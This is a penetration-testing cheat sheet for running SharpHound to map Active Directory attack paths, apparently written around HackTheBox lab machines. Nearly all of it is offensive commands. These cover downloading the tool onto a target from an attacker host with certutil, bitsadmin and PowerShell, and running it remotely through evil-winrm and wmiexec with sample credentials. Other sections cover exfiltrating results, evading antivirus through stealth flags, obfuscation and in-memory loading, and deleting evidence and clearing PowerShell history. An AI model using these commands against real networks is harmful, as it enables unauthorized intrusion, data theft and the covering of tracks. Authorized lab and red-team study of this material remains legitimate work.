🩸 SharpHound.exe Cheatsheet

Complete guide to using SharpHound for Active Directory enumeration

📋 Table of Contents

• Overview
• Upload Methods
• Basic Usage
• Collection Methods
• Advanced Options
• BloodHound Python Equivalent
• Download Results
• Troubleshooting

🎯 Overview

SharpHound is the official data collector for BloodHound written in C#. It enumerates Active Directory environments to map attack paths and privilege escalation opportunities.

Key Features

• ✅ Native Windows execution (no dependencies)
• ✅ Multiple collection methods
• ✅ LDAP and API-based enumeration
• ✅ Stealth and performance options
• ✅ Outputs ZIP files for BloodHound ingestion

Important Version Information

SharpHound Versions:

• Latest: Version 2.8.0 (as of November 2025)
• Compatibility: Designed for BloodHound Community Edition (CE)
• Download: Always get the latest from GitHub Releases
• Target Framework: .NET 4.6.2

⚠️ Note: Make sure your SharpHound version matches your BloodHound version! You can check the compatible version in BloodHound CE’s web UI under Settings → Download Collectors.

📤 Upload Methods to Target

Method 1: SMB Server (impacket-smbserver)

On Kali Linux:

# Start SMB server in directory containing SharpHound.exe
sudo impacket-smbserver share . -smb2support -username user -password pass

# Or without authentication (less secure)
sudo impacket-smbserver share . -smb2support

On Target Windows:

# With authentication
net use \\10.10.14.5\share /user:user pass
copy \\10.10.14.5\share\SharpHound.exe .

# Without authentication
copy \\10.10.14.5\share\SharpHound.exe .

# Alternative: Run directly from SMB share
\\10.10.14.5\share\SharpHound.exe -c All

Method 2: Python Web Server

On Kali Linux:

# Python 3 (default in Kali)
python3 -m http.server 8000

# Python 3 with specific IP binding
python3 -m http.server 8000 --bind 10.10.14.5

On Target Windows:

# PowerShell Download
Invoke-WebRequest -Uri http://10.10.14.5:8000/SharpHound.exe -OutFile SharpHound.exe

# Short form
iwr -uri http://10.10.14.5:8000/SharpHound.exe -o SharpHound.exe

# Certutil (alternative method)
certutil -urlcache -f http://10.10.14.5:8000/SharpHound.exe SharpHound.exe

# BITSAdmin
bitsadmin /transfer mydownload /download /priority high http://10.10.14.5:8000/SharpHound.exe C:\Temp\SharpHound.exe

Method 3: WinRM Upload (evil-winrm)

Using evil-winrm:

# Connect to target
evil-winrm -i 10.10.11.41 -u judith.mader -p judith09

# Once connected, upload SharpHound
upload /path/to/SharpHound.exe

Within evil-winrm session:

*Evil-WinRM* PS C:\Users\judith.mader\Documents> upload /opt/SharpHound.exe
*Evil-WinRM* PS C:\Users\judith.mader\Documents> .\SharpHound.exe -c All

Method 4: Base64 Encoding (Small Files)

On Kali Linux:

# Encode SharpHound
base64 -w 0 SharpHound.exe > sharphound_b64.txt

On Target Windows:

# Decode and save (paste base64 string)
$b64 = "TVqQAAMAAAAEAAAA..." # Your base64 string
[IO.File]::WriteAllBytes("SharpHound.exe", [Convert]::FromBase64String($b64))

🚀 Basic Usage

Standard Execution

# Run all collection methods (most common)
.\SharpHound.exe --CollectionMethods All

# Short form also works
.\SharpHound.exe -c All

# Run with specific collection methods
.\SharpHound.exe -c Session,LoggedOn

# Specify domain explicitly
.\SharpHound.exe -c All -d certified.htb

# Custom output directory
.\SharpHound.exe -c All --OutputDirectory C:\Temp

# Custom output prefix
.\SharpHound.exe -c All --OutputPrefix custom_name

# Automatically create ZIP file (recommended)
.\SharpHound.exe -c All --ZipFileName output.zip

🎯 Collection Methods

Combining Methods

# Multiple methods
.\SharpHound.exe -c Group,Session,Trusts

# Comprehensive collection
.\SharpHound.exe -c All

# LDAP-only (stealth, no computer connections)
.\SharpHound.exe -c DCOnly

⚙️ Advanced Options

Domain Controller Specification

# Specify domain controller by IP
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

# Specify by hostname
.\SharpHound.exe -c All -d certified.htb --DomainController DC01.certified.htb

# Multiple domains
.\SharpHound.exe -c All -d certified.htb,external.local

Authentication Options

# Use LDAP credentials (alternate to current user context)
.\SharpHound.exe -c All --LdapUsername judith.mader --LdapPassword judith09

# Run with different user context using runas
runas /user:certified.htb\judith.mader /netonly cmd
# Then run SharpHound from that context
.\SharpHound.exe -c All -d certified.htb

# Override username for NetSessionEnum
.\SharpHound.exe -c Session --OverrideUserName judith.mader

Performance & Stealth

# Stealth mode (slower, LDAP-focused, removes noisy methods)
.\SharpHound.exe -c All --Stealth

# Throttle requests (milliseconds between requests)
.\SharpHound.exe -c All --Throttle 1000

# Jitter (randomize delay, percentage)
.\SharpHound.exe -c All --Jitter 20

# Skip port scan (don't check if 445 is open)
.\SharpHound.exe -c All --SkipPortCheck

# No save cache
.\SharpHound.exe -c All --NoSaveCache

# Disable certificate verification (LDAPS)
.\SharpHound.exe -c All --DisableCertVerification

# Disable Kerberos signing/sealing (not recommended)
.\SharpHound.exe -c All --DisableSigning

LDAP Options

# Specify LDAP port (default 389)
.\SharpHound.exe -c All --LdapPort 389

# Use secure LDAP (port 636)
.\SharpHound.exe -c All --SecureLDAP

# Combine LDAPS with specific port
.\SharpHound.exe -c All --LdapPort 636 --SecureLDAP

# Use Global Catalog port
.\SharpHound.exe -c All --LdapPort 3268

Loop Collection

# Loop collection (great for session gathering)
# Loops for 2 hours, creating a ZIP file after each iteration
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00

# Loop with interval between iterations
# Runs for 3 hours, waits 10 minutes between each collection
.\SharpHound.exe -c Session --Loop --Loopduration 03:00:00 --LoopInterval 00:10:00

Exclusions & Filters

# Exclude domain controllers from enumeration
.\SharpHound.exe -c All --ExcludeDCs

# Skip registry-based enumeration
.\SharpHound.exe -c All --SkipRegistryLoggedOn

# Use specific computer list file
.\SharpHound.exe -c All --ComputerFile C:\computers.txt

# LDAP filter for computers
.\SharpHound.exe -c All --LdapFilter "(operatingSystem=*Server*)"

Output Options

# Prettify JSON output (larger files, more readable)
.\SharpHound.exe -c All --PrettyPrint

# Track computer connection status to CSV
.\SharpHound.exe -c All --TrackComputerCalls

# Random file names for output
.\SharpHound.exe -c All --RandomFilenames

🐍 BloodHound Python Equivalent

Your Original Command

sudo bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

SharpHound Equivalent

Option 1: Direct Execution (Already authenticated as judith.mader)

# If you're already authenticated as judith.mader on Windows
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 --ZipFileName certified_bloodhound.zip

Option 2: Using LDAP Credentials

# Use alternate credentials via LDAP authentication
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 --LdapUsername judith.mader --LdapPassword judith09

Option 3: Using RunAs with Network Credentials

# Run cmd with network credentials
runas /user:certified.htb\judith.mader /netonly cmd

# In the new cmd window
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

Option 4: Using evil-winrm

# From Kali, connect via WinRM
evil-winrm -i 10.10.11.41 -u judith.mader -p judith09

# Upload and run SharpHound
upload /path/to/SharpHound.exe
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

Option 5: Using Impacket’s psexec/wmiexec

# Execute SharpHound remotely
impacket-wmiexec certified.htb/judith.mader:judith09@10.10.11.41 "C:\Temp\SharpHound.exe -c All"

Parameter Mapping

📥 Download Results

Method 1: SMB Server (Retrieve Files)

# On Windows, copy results back
copy 20241127*.zip \\10.10.14.5\share\

Method 2: Evil-WinRM Download

# In evil-winrm session
download C:\Path\To\20241127_BloodHound.zip

Method 3: Base64 Encoding (Small ZIP files)

On Windows:

# Encode the ZIP file
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("20241127_BloodHound.zip"))
$b64 | Out-File -Encoding ASCII bloodhound_b64.txt

On Kali:

# Copy the base64 string and decode
base64 -d bloodhound_b64.txt > bloodhound_data.zip

Method 4: Python Web Server Upload

On Windows (with Python):

# Start simple HTTP server
python -m http.server 8080

# Then download from Kali
wget http://10.10.11.41:8080/20241127_BloodHound.zip

🔥 Common Usage Scenarios

Scenario 1: Quick Full Enumeration

# Complete enumeration with ZIP output
.\SharpHound.exe -c All -d certified.htb --ZipFileName certified_full.zip

Scenario 2: Session Hunting

# Loop session collection for 2 hours, checking every 10 minutes
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00

Scenario 3: Stealth Enumeration

# Stealth mode (LDAP-focused, removes noisy methods like LoggedOn)
.\SharpHound.exe -c All --Stealth

# Manual stealth (custom throttling and jitter)
.\SharpHound.exe -c Group,ACL,ObjectProps --Throttle 2000 --Jitter 25

Scenario 4: LDAP-Only Collection (No Computer Connections)

# DCOnly - only queries domain controller via LDAP
.\SharpHound.exe -c DCOnly -d certified.htb

# Exclude DCs from computer enumeration
.\SharpHound.exe -c All --ExcludeDCs

Scenario 5: Specific Data Only

# Only collect groups and trusts
.\SharpHound.exe -c Group,Trusts -d certified.htb

# Default collection (Group, LocalAdmin, Session, Trusts)
.\SharpHound.exe -c Default

Scenario 6: Multi-Domain Environment

# Enumerate trust relationships first
.\SharpHound.exe -c Trusts

# Then enumerate specific domains
.\SharpHound.exe -c All -d certified.htb,child.certified.htb

# Or enumerate entire forest
.\SharpHound.exe -c All --SearchForest

Scenario 7: Using LDAPS (Secure LDAP)

# Use LDAPS for encrypted communication
.\SharpHound.exe -c All --SecureLDAP -d certified.htb

🐛 Troubleshooting

Common Errors

“Could not resolve domain”

# Solution: Specify domain controller explicitly
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

“Access Denied”

# Verify credentials and permissions
whoami /all

# Check domain connectivity
nltest /dsgetdc:certified.htb

# Try using LDAP credentials
.\SharpHound.exe -c All --LdapUsername judith.mader --LdapPassword judith09

“LDAP connection failed”

# Try different LDAP port (Global Catalog)
.\SharpHound.exe -c All --LdapPort 3268

# Try plain LDAP
.\SharpHound.exe -c All --LdapPort 389

# Try LDAPS (secure)
.\SharpHound.exe -c All --SecureLDAP

# Disable signing (not recommended, but may help)
.\SharpHound.exe -c All --DisableSigning

No output file generated

# Specify output directory with write permissions
.\SharpHound.exe -c All --OutputDirectory C:\Temp

# Check for actual errors in console output
# Ensure you have permissions to current directory

“Port 445 not open” errors

# Skip port checks (useful in restricted environments)
.\SharpHound.exe -c All --SkipPortCheck

Performance Issues

# Add throttling (wait time between requests)
.\SharpHound.exe -c All --Throttle 500 --Jitter 15

# Reduce to LDAP-only collection
.\SharpHound.exe -c DCOnly

Detection/AV Issues

# Use stealth mode
.\SharpHound.exe -c All --Stealth

# Run from memory (use PowerShell wrapper)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Obfuscate or recompile SharpHound from source

📊 Output Files

SharpHound generates the following files:

Import to BloodHound:

# On Kali, start BloodHound
sudo neo4j start
bloodhound

# Upload the ZIP file through the GUI
# Or use bloodhound-python to directly upload

🔗 Useful Resources

• SharpHound GitHub (Official): https://github.com/SpecterOps/SharpHound
• BloodHound CE Documentation: https://bloodhound.specterops.io/
• SharpHound Flags Reference: https://bloodhound.specterops.io/collect-data/ce-collection/sharphound-flags
• Download SharpHound: https://github.com/SpecterOps/SharpHound/releases
• BloodHound GitHub: https://github.com/SpecterOps/BloodHound
• SpecterOps Blog: https://posts.specterops.io/ (latest research and updates)
• BloodHound Slack: https://bloodhoundgang.herokuapp.com/ (community support)

Alternative Collectors

• RustHound: Rust-based collector (cross-platform, AV evasion)
• AzureHound: Azure AD/Entra ID collector
• SharpHound.ps1: PowerShell wrapper for in-memory execution

💡 Pro Tips

1. Always create ZIP files - Use --ZipFileName output.zip for easier exfiltration and import
2. Use loop collection for sessions - Session data changes frequently; loop for better coverage
3. Start with Default or All collection - Get comprehensive data first, then target specific areas
4. Check SharpHound version compatibility - Match SharpHound version to your BloodHound instance
5. Use —Stealth for red teams - Automatically removes noisy collection methods
6. Leverage —SearchForest - Enumerate all domains in forest automatically (requires trust)
7. Time your collection wisely - Run during business hours for more active sessions
8. Use LDAPS when possible - --SecureLDAP encrypts LDAP traffic
9. Consider AV/EDR detection - SharpHound is heavily signatured; consider obfuscation
10. Clean up after yourself - Delete SharpHound and output files during operations
11. Document your collection - Note which methods were used and when
12. Use —LdapUsername/—LdapPassword - When you can’t use runas or current context
13. Combine with other tools - Use with PowerView, ADRecon, Certify for full coverage
14. Review collection methods - Not all methods are needed; DCOnly is great for stealth

Advanced Tips

• Registry-based collection is noisy - Consider excluding with --SkipRegistryLoggedOn
• Computer file lists work great - Use --ComputerFile to target specific systems
• Global Catalog port (3268) can sometimes bypass restrictions
• TrackComputerCalls helps identify connectivity issues
• RandomFilenames can help avoid simple file-based detections

⚠️ Operational Security

# Delete evidence after exfiltration
del SharpHound.exe
del *_BloodHound.zip
del *_computers.json
del *_users.json
# ... delete all output files

# Clear PowerShell history
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath

# Check for running processes
Get-Process | Where-Object {$_.ProcessName -like "*sharp*"}

Created by NetRunner | For Ethical Hacking & Penetration Testing 🎓🔐

SharpHound.ps1

# After uploading SharpHound.ps1:
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain htb.local -DomainController 10.129.15.16 -LDAPUser svc-alfresco -LDAPPass s3rvice